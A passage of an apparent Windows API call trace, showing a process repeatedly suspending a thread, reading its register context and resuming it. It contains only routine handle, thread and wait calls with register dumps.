[129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.909] ResumeThread (hThread=0x130) returned 0x1
[0128.909] CloseHandle (hObject=0x130) returned 1
[0128.909] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.950] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.991] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0128.991] SuspendThread (hThread=0x130) returned 0x0
[0128.991] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff630, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12bd640, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.992] ResumeThread (hThread=0x130) returned 0x1
[0128.992] CloseHandle (hObject=0x130) returned 1
[0128.992] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.032] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.032] SuspendThread (hThread=0x130) returned 0x0
[0129.032] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff5f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12bc480, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.033] ResumeThread (hThread=0x130) returned 0x1
[0129.033] CloseHandle (hObject=0x130) returned 1
[0129.033] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.075] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.075] SuspendThread (hThread=0x130) returned 0x0
[0129.075] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff3f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ea075, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.076] ResumeThread (hThread=0x130) returned 0x1
[0129.076] CloseHandle (hObject=0x130) returned 1
[0129.076] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.096] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.119] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.161] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.161] SuspendThread (hThread=0x130) returned 0x0
[0129.161] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1658000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.162] ResumeThread (hThread=0x130) returned 0x1
[0129.162] CloseHandle (hObject=0x130) returned 1
[0129.162] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.204] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.245] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.245] SuspendThread (hThread=0x130) returned 0x0
[0129.245] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x165bffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, 